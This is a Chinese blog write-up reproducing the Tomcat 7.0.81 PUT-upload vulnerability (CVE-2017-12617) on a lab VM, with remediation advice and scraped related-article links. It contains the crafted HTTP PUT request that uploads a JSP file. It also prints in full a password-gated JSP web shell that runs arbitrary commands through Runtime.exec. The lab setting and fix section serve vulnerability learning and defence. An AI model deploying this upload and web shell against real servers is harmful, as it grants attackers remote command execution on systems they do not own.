Tomcat/7.0.81 远程代码执行漏洞复现

时间:2022-09-03 17:56:11

Tomcat/7.0.81 远程代码执行漏洞复现

参考链接:

http://www.freebuf.com/vuls/150203.html

漏洞描述:

CVE-2017-12617

Apache Tomcat是一个流行的开源JSP应用服务器程序。

Apache Tomcat启用HTTP PUT后,攻击者通过构造的请求,可上传任意JSP文件到服务器,造成远程代码执行。

具体漏洞实现的原理参考链接里面有介绍,我本来也不是很理解,就不介绍了。

漏洞环境:

Win7 64位虚拟机

apache-tomcat-7.0.81-windows-x64  (请在网盘里找对应的名字)

具体复现过程:

这个漏洞需要安装好后,修改 Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

Tomcat/7.0.81 远程代码执行漏洞复现

修改以后,运行tomcat,访问运行

Tomcat/7.0.81 远程代码执行漏洞复现

这时候通过burp发一个PUT方法的包,在目录处可以添加文件名,freebuf上的大神说7.0.81版本可以用test.jsp/、test.jsp/.,我用下面包测试了一下

PUT /test.jsp/ HTTP/1.1
Host: 192.168.198.128:8080
Content-Length: 24 <%out.println("test");%>

Tomcat/7.0.81 远程代码执行漏洞复现

按照大神的思路写的马试试

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
try
{
Process pro = Runtime.getRuntime().exec(c);
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
String temp = null;
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
}
%>

大神的马

Tomcat/7.0.81 远程代码执行漏洞复现

成功执行了

Tomcat/7.0.81 远程代码执行漏洞复现

在虚拟机的tomcat路径下apache-tomcat-7.0.81\webapps\ROOT成功写入文件。

修复建议:

  1、将Tomcat更新到该漏洞被修复的版本。

  2、web.xml配置文件readonly init-param设置为true,或是保持默认不设置,则攻击者无法上传文件。

  3、另外,当然也可以在前端(例如WAF)上阻止PUT和DELETE请求。

Tomcat/7.0.81 远程代码执行漏洞复现的更多相关文章

  1. IIS&lowbar;CVE-2017-7269 IIS6&period;0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  2. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  3. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  4. Apache log4j2 远程代码执行漏洞复现&&num;128123&semi;

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  5. 【漏洞公告】CVE-2017-12615&sol;CVE-2017-12616&colon;Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  6. 【漏洞公告】Tomcat信息泄漏和远程代码执行漏洞:CVE-2017-12615&sol;CVE-2017-12616

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  7. thinkphp5&period;0&period;22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  8. ECShop全系列版本远程代码执行漏洞复现

    前言 问题发生在user.php的display函数,模版变量可控,导致注入,配合注入可达到远程代码执行 漏洞分析 0x01-SQL注入 先看user.php $back_act变量来源于HTTP_R ...

  9. vBulletin 5&period;x 版本通杀远程代码执行漏洞复现

    漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...

随机推荐

  1. swiper笔记

    1.基本使用 var OrderMenu = new Swiper('#OrderMenu',{ loop: false, // 是否循环 autoplay: 1000, // 时间 slidesPe ...

  2. zepto源码--init--学习笔记

    先展示init函数,由于笔记本屏幕太小,删掉了部分源码注释,才能在一屏内截图. 当我们调用$()的时候,便会直接调用zepto.init()生成zepto对象,跟jquery生成jquery对象类似. ...

  3. 转:db2 backup 及 restore

    db2 backup 及 restore 2011-06-21 18:12:20|  分类: AIX |举报 |字号 订阅     两个问题: db2=>list applications db ...

  4. CXF之八 RESTFul服务

    JAX-RS概述 JAX-RS是Java提供用于开发RESTful Web服务基于注解(annotation)的API.JAX-RS旨在定义一个统一的规范,使得Java程序员可以使用一套固定的接口来开 ...

  5. Android开发之Ubuntu上Eclipse不显示手机设备

    一.准备工作   A.开启Android设备,用USB数据线连接到Ubuntu系统.   B.启用设备的USB调试模试    C.启动Eclipse,在Devices栏会现一个有很多???号的不明设备 ...

  6. 【Dijkstra堆优化】洛谷P2243电路维修

    题目背景 Elf 是来自Gliese 星球的少女,由于偶然的原因漂流到了地球上.在她无依无靠的时候,善良的运输队员Mark 和James 收留了她.Elf 很感谢Mark和James,可是一直也没能给 ...

  7. sublime 中HTML快捷键

  8. hdu 1402 FFT(模板)

    A * B Problem Plus Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Other ...

  9. RESTful记录-RESTful介绍

    RESTful Web服务是基于REST架构的Web服务.在REST架构一切都是一种资源. RESTful Web服务是轻量级的,高度可扩展性和可维护性,并且非常常用于创建基于API的Web应用程序. ...

  10. python3文件操作方法

    在python3中,我们可以使用open打开一个文件,那么打开文件后,文件有什么操作方法呢?接下来我就记录一下比较常用的方法. 1. close() 关闭打开的文件 2. fileno() 返回文件句 ...